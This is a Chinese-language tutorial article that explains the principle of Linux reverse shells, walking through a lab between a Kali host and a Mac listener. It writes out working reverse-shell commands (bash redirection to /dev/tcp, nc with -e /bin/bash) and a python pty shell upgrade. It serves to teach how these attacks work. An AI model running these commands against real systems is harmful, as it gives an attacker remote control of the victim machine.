这期内容当中小编将会给大家带来有关linux中反弹shell的原理是什么,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
Linux是一种免费使用和自由传播的类UNIX操作系统,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统,使用Linux能运行主要的Unix工具软件、应用程序和网络协议。
完整命令
反弹shell命令:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1
利用nc反弹shell:
nc -lvvp 12345 -t -e /bin/bash
原理
bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打开一个交互式的bash
&是为了区分文件1和文件描述符1的
a>&b 的意思是 a>b 2>&1
0代表输入 ,0>&1 意思是,将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口,即靶机的shell窗口跟攻击机的shell口。这命令的意思也可以理解为,将攻击机窗口的输入当作靶机窗口的输入最终输入给靶机。2代表标准错误输出。
实验
通过一个小实验帮助大家理解
第一步,将shell的正确输出重定向到外部主机
假设我们在kali上输入的命令为:bash -i > /dev/tcp/192.168.124.1/9999
,这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端口。
在mac上监听端口命令为:nc -l 9999
首先在kali上输入whoami命令,发现没有回显,因为回显被重定向到了mac上。
但是当我们在kali上出入错误命令的时候,却存在回显。
第二步,将错误输出重定向到外部主机
我们只需要在上面的命令后面加上 2>&1即可,意思为将错误输出重定向到标准输出上,也就是重定向到我们的外部主机。
这时候发现在kali上按键盘已经没有任何回显了,回显全部出现在了mac的shell上:
这是因为我们已经将所有的输出都重定向到了外部主机上,但问题是现在我们的控制权还在kali上,mac无法进行任何输出操作,只能显示输出。这时候我们几句需要将输入的权限给予我们的mac。
第三步,交出输入权限
只需要在第二步命令的基础上加上 0>&1即可。
这时候已经可以在mac上完全控制kali的shell了,实验结束。
其他
当shell不稳定时候用python的虚拟化终端:
python -c "import pty;pty.spawn('/bin/bash')"
上述就是小编为大家分享的linux中反弹shell的原理是什么了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。